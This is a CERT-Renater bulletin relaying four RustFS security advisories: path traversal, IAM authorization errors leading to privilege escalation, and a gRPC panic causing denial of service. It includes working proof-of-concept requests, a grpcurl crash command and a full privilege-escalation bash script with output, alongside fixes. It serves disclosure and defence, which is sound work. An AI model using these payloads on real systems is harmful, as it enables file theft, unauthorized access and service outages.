Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN012
_____________________________________________________________________

DATE                : 09/01/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running RustFS versions prior to alpha.79.

=====================================================================
https://github.com/rustfs/rustfs/security/advisories/GHSA-pq29-69jg-9mxc
https://github.com/rustfs/rustfs/security/advisories/GHSA-vcwh-pff9-64cc
https://github.com/rustfs/rustfs/security/advisories/GHSA-gw2x-q739-qhcr
https://github.com/rustfs/rustfs/security/advisories/GHSA-xgr5-qc6w-vcg9
_____________________________________________________________________

RustFS Path Traversal Vulnerability
High
loverustfs published GHSA-pq29-69jg-9mxc Jan 7, 2026

Package
No package listed

Affected versions
alpha.13 - alpha.78

Patched versions
alpha.79


Description

RustFS Path Traversal Vulnerability


Vulnerability Details

    CVE ID:
    Severity: Critical (CVSS estimated 9.9)
    Impact: Arbitrary File Read/Write
    Component: /rustfs/rpc/read_file_stream endpoint
    Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without:

    Canonicalization
    Path boundary validation
    Protection against ../ sequences
    Protection against absolute paths

Proof of Concept

Test Environment

    Target: RustFS v0.0.5 (Docker container)
    Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream
    RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)
    Disk ID: /data/rustfs0
    Volume: .rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration

2. Read /etc/hosts ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
[...]
172.20.0.3	d25e05a19bd2

Impact: Network configuration disclosure

3. Read /etc/hostname ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure


Technical Analysis

Data Flow

1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
              → /etc/passwd

Path Traversal Mechanism

// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"

// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
          = "/etc/passwd"  // Successfully escaped!

Why It Works

    No Canonicalization: Code doesn't use canonicalize() before validation
    No Boundary Check: No verification that final path is within volume_dir
    PathBuf::join() Behavior: Automatically resolves ../ sequences
    Length-Only Validation: check_path_length() only checks string length


Special Considerations

    File Size Constraint: The length parameter must exactly match file size
        Code validates: file.len() >= offset + length
        Otherwise returns DiskError::FileCorrupt
    Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys)
    Disk Requirement: Disk must be registered in GLOBAL_LOCAL_DISK_MAP


Impact Assessment

Confidentiality Impact: HIGH

    ✅ Read arbitrary files (demonstrated)
    ✅ Read system configuration files (/etc/passwd, /etc/hosts)
    ⚠️ Potential to read:
        SSH keys (/root/.ssh/id_rsa)
        Application secrets
        RustFS configuration files
        Environment variables from /proc

Integrity Impact: HIGH

    ⚠️ Similar vulnerability exists in put_file_stream (not tested)
    ⚠️ Arbitrary file write likely possible
    ⚠️ Could write to:
        Cron jobs
        authorized_keys
        System binaries (if permissions allow)

Availability Impact: MEDIUM

    ⚠️ walk_dir endpoint could enumerate entire filesystem
    ⚠️ Potential DoS via recursive directory traversal


Exploitation Requirements

Prerequisites

    Network Access: Ability to reach RustFS RPC endpoints
    RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
        Default: "rustfs-default-secret"
        Production: From environment variable or config
    Disk/Volume Knowledge: Valid disk ID and volume name
    File Size Knowledge: Exact file sizes for successful reads

Attack Complexity

    Without Secret: Impossible (signature verification)
    With Secret: Trivial (automated script)
    With Default Secret: Critical risk if not changed


Mitigation Recommendations

Immediate Actions (Priority 0)

    Path Canonicalization

async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
    let volume_dir = self.get_bucket_path(volume)?;

    // CRITICAL FIX:
    let file_path = volume_dir.join(Path::new(&path));
    let canonical = file_path.canonicalize()
        .map_err(|_| DiskError::FileNotFound)?;

    // Validate path is within volume_dir
    if !canonical.starts_with(&volume_dir) {
        error!("Path traversal attempt detected: {:?}", path);
        return Err(DiskError::InvalidArgument);
    }

    // Continue with validated path...
}

    Path Component Validation

// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
    return Err(DiskError::InvalidArgument);
}

    Use path-clean Crate

use path_clean::PathClean;

let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
    return Err(DiskError::InvalidArgument);
}

Additional Security Measures

    Audit Logging: Log all RPC file operations with full paths
    Rate Limiting: Prevent DoS via repeated RPC calls
    Secret Rotation: Ensure unique RPC secrets per deployment
    Network Segmentation: Restrict RPC endpoint access
    Security Testing: Add path traversal tests to test suite

Long-term Improvements

    Chroot Jail: Isolate RPC operations in chroot environment
    Least Privilege: Run RustFS with minimal file system permissions
    Security Audit: Comprehensive review of all file operations


Proof of Concept Script

The complete PoC is available at: exploit_path_traversal.py

Usage

# Ensure RustFS is running
docker compose ps

# Run exploit
python3 exploit_path_traversal.py

Output

[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================


Acknowledgements

We would like to thank bilisheep from the Xmirror Security
Team for discovering and responsibly reporting this
vulnerability.

Acknowledgements We would like to thank @realansgar and bilisheep
from the Xmirror Security Team for providing the security
report.


Severity
High

CVE ID
No known CVE

Weaknesses
No CWEs

_____________________________________________________________________


rustfs IAM Incorrect Authorization in ImportIam Allows Privilege
Escalation
Moderate
loverustfs published GHSA-vcwh-pff9-64cc Jan 8, 2026

Package
rustfs (Rust)

Affected versions
All versions

Patched versions
alpha.79


Description

Summary

The ImportIam admin API validates permissions using ExportIAMAction
instead of ImportIAMAction, allowing a principal with export-only IAM
permissions to perform import operations. Since importing IAM data
performs privileged write actions (creating/updating users, groups,
policies, and service accounts), this can lead to unauthorized IAM
modification and privilege escalation.


Details

In ImportIam, the authorization check is implemented as follows:

validate_admin_request(
    &req.headers,
    &cred,
    owner,
    false,
    vec![Action::AdminAction(AdminAction::ExportIAMAction)],
).await?;

However, this code resides in the Import IAM operation
(struct ImportIam {}), which performs state-changing IAM
writes.

The expected behavior is to validate against
AdminAction::ImportIAMAction (or an equivalent import-specific
admin action), not ExportIAMAction.


PoC

Prerequisites

    A RustFS deployment with IAM enabled.
    An IAM user or role that has Export IAM permission
but does not have Import IAM or full admin permissions.
    Access credentials for that user.

Steps

    Create or obtain an IAM principal with permission equivalent to:

    AdminAction::ExportIAMAction

    and without Import IAM privileges.

    Prepare a valid IAM import ZIP archive containing, for example:
        A new policy granting administrative permissions
        A user or service account bound to that policy

    Send a request to the Import IAM endpoint (the same endpoint
handled by ImportIam::call), authenticating with the export-only
credentials.

    Observe that:
        The request passes authorization.
        IAM entities from the archive are created or modified
successfully.


Expected Result

    The request should be rejected with an authorization error
(e.g., AccessDenied).


Actual Result

    The request succeeds, and IAM state is modified.


Severity
Moderate

CVE ID
No known CVE

Weaknesses
Weakness CWE-285
Weakness CWE-863

Credits

    @Threonine Threonine Reporter

_____________________________________________________________________

RustFS gRPC GetMetrics deserialization panic enables remote DoS
Moderate
loverustfs published GHSA-gw2x-q739-qhcr Jan 7, 2026

Package
No package listed

Affected versions
alpha.13 - alpha.77

Patched versions
alpha.78


Description

Summary

A malformed gRPC GetMetrics request causes get_metrics to unwrap() 
failed deserialization of metric_type/opts, panicking the
handler thread and enabling remote denial of service of the
metrics endpoint.


Details

    Vulnerable code: rustfs/src/storage/tonic_service.rs:1775-1782:
        MetricType and CollectMetricsOpts are deserialized with
Deserialize::deserialize(...).unwrap() from client-supplied bytes.
        Malformed metric_type/opts (e.g., empty or truncated
rmp-serde payloads) trigger InvalidMarkerRead and panic.
    Reachability: same TCP listener as S3 (default :9000); only a
static interceptor token authorization: rustfs rpc is checked
in server/http.rs:677.
    Impact scope: panic terminates the worker handling the
request, causing metrics service interruption and potential
process instability.


PoC

rustfs-grpc-metrics-invalid-metric-type-panic-poc.tar.gz

    Start RustFS (example local dev):

mkdir -p /tmp/rustfs-data1 /tmp/rustfs-data2
RUSTFS_ACCESS_KEY=devadmin RUSTFS_SECRET_KEY=devadmin \
  cargo run --bin rustfs -- --address 0.0.0.0:9000 \
  /tmp/rustfs-data1 /tmp/rustfs-data2

    From rustfs-grpc-metrics-invalid-metric-type-panic-poc/, run:

ENDPOINT=127.0.0.1:9000 make run
# or: grpcurl -plaintext \
#   -H 'authorization: rustfs rpc' \
#   -import-path ../crates/protos/src -proto node.proto \
#   -d '{"metric_type":"","opts":""}' \
#   127.0.0.1:9000 node_service.NodeService/GetMetrics

    Observe panic in server logs at tonic_service.rs:get_metrics
with InvalidMarkerRead and worker crash; client output saved to
poc-response.txt/poc-grpcurl.log.


Impact

    Vulnerability type: remote unauthenticated (static token) denial
of service via panic in gRPC handler.
    Who is impacted: any deployment exposing the gRPC endpoint where
an attacker can reach port 9000 and supply the known
authorization: rustfs rpc header; metrics service is disrupted and
may affect overall stability depending on runtime crash handling.

Severity
Moderate

CVE ID
CVE-2025-69255

Weaknesses
Weakness CWE-755

Credits

    @max-r-b max-r-b Reporter
    @enitmar enitmar Reporter



_____________________________________________________________________


rustfs IAM deny_only Short-Circuit Allows Privilege Escalation via
Service Account Minting
Moderate
loverustfs published GHSA-xgr5-qc6w-vcg9 Jan 8, 2026

Package
rustfs (Rust)

Affected versions
alpha.13 - alpha.78

Patched versions
alpha.79


Description

Summary

A flawed deny_only short-circuit in RustFS IAM allows a restricted
service account or STS credential to self-issue an unrestricted service
account, inheriting the parent’s full privileges. This enables
privilege escalation and bypass of session/inline policy
restrictions.


Details

akin to MinIO CVE-2025-62506

    Policy evaluation: Policy::is_allowed returns true when
deny_only=true if no explicit Deny is hit, skipping all Allow
checks (crates/policy/src/policy/policy.rs:66-74).
    Service account creation path sets deny_only=true when the target
user equals the caller or its parent
(rustfs/src/admin/handlers/service_account.rs:114-127).
    Service accounts are created without session_policy by default,
so claims lack SESSION_POLICY_NAME; combined with deny_only,
self-operations are allowed without Allow statements.
    Result: a limited service account/STS can create a new service
account without policy and obtain the parent’s full
rights (even root), bypassing original restrictions.


Key code references:

    crates/policy/src/policy/policy.rs (deny_only short-circuit)
    rustfs/src/admin/handlers/service_account.rs: (deny_only set
for self/parent target)
    crates/iam/src/sys.rs (service account creation defaults, no
session_policy)


PoC

Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, 
root AK/SK rustfsadmin/rustfsadmin. Run:

#!/usr/bin/env bash
set -euo pipefail

# ===================== Config =====================
ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}"
ROOT_AK="${ROOT_AK:-rustfsadmin}"
ROOT_SK="${ROOT_SK:-rustfsadmin}"
PARENT_AK="${PARENT_AK:-restricted}"
PARENT_SK="${PARENT_SK:-restricted123}"
CHILD_AK="${CHILD_AK:-evilchild}"
CHILD_SK="${CHILD_SK:-evilchild123}"
AWS_REGION="${AWS_REGION:-us-east-1}"

# Tools
AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}"
AWS_BIN="${AWS_BIN:-aws}"
JQ_BIN="${JQ_BIN:-jq}"

# Disable proxies for local endpoint
export HTTP_PROXY=
export HTTPS_PROXY=
export NO_PROXY=127.0.0.1,localhost

# ===================== Helpers =====================
aws_cmd() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@"
}

awscurl_admin() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \
    "$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@"
}

timestamp_iso() {
  python - <<'PY'
import datetime
print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())
PY
}

# ===================== Cleanup =====================
echo "[+] cleanup service accounts (ignore errors)"
for ak in "$CHILD_AK" "$PARENT_AK"; do
  awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true
done

echo "[+] cleanup buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true
done

# ===================== Setup =====================
echo "[+] create buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 mb "s3://$b" || true
done

echo "[+] seed bucket3 with marker object"
printf "poc-marker\n" | aws_cmd "$ROOT_AK" "$ROOT_SK" s3 cp - s3://bucket3/poc-marker.txt

EXP="$(timestamp_iso)"

echo "[+] create restricted policy"
RESTRICTED_POLICY='{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:ListBucket"],
      "Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"]
    },
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": ["arn:aws:s3:::bucket1/*", "arn:aws:s3:::bucket2/*"]
    }
  ]
}'

echo "[+] create restricted service account"
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$PARENT_AK" --arg sk "$PARENT_SK" --arg policy "$RESTRICTED_POLICY" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \
  > /tmp/restricted_sa.json
cat /tmp/restricted_sa.json

echo "[+] list buckets as restricted (expect bucket1,bucket2 only)"
aws_cmd "$PARENT_AK" "$PARENT_SK" s3 ls

echo "[+] create child service account without policy (trigger deny_only)"
awscurl_admin "$PARENT_AK" "$PARENT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$CHILD_AK" --arg sk "$CHILD_SK" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \
  > /tmp/child_sa.json
cat /tmp/child_sa.json

echo "[+] child tries to list bucket3 (should be denied; success means vuln)"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 ls s3://bucket3; then
  echo "child list bucket3: SUCCESS (vuln)"
else
  echo "child list bucket3: DENIED"
fi

echo "[+] child tries to read marker from bucket3"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then
  echo "child read marker: SUCCESS (vuln). Content:"
  cat /tmp/poc-marker.txt
else
  echo "child read marker: DENIED"
fi

echo "[+] child tries to write new object into bucket3"
if printf "child-write\n" | aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp - s3://bucket3/child-write.txt; then
  echo "child write: SUCCESS (vuln)"
else
  echo "child write: DENIED"
fi

PoC steps (in poc.sh):

    Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with poc-marker.txt.
    Create restricted policy (List/Get/Put only on bucket1/2).
    Create restricted service account restricted/restricted123 with that policy.
    With restricted, create child service account evilchild/evilchild123 without policy (deny_only short-circuit).
    With evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.

Result:

./poc.sh
[+] cleanup service accounts (ignore errors)
[+] cleanup buckets
[+] create buckets
make_bucket: bucket1
make_bucket: bucket2
make_bucket: bucket3
[+] seed bucket3 with marker object
[+] create restricted policy
[+] create restricted service account
{"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] list buckets as restricted (expect bucket1,bucket2 only)
2025-12-16 18:51:16 bucket1
2025-12-16 18:51:16 bucket2
[+] create child service account without policy (trigger deny_only)
{"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] child tries to list bucket3 (should be denied; success means vuln)
2025-12-16 18:51:17         11 poc-marker.txt
child list bucket3: SUCCESS (vuln)
[+] child tries to read marker from bucket3
download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt
child read marker: SUCCESS (vuln). Content:
poc-marker
[+] child tries to write new object into bucket3
child write: SUCCESS (vuln)


Impact

Privilege escalation / authorization bypass. Any holder of a
restricted service account or STS credential can mint an
unrestricted service account and gain parent-level (up to root)
access across S3/Admin/KMS operations. High risk to
confidentiality and integrity.


Severity
Moderate

CVE ID
No known CVE

Weaknesses
Weakness CWE-269
Weakness CWE-284

Credits

    @Threonine Threonine Reporter



=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




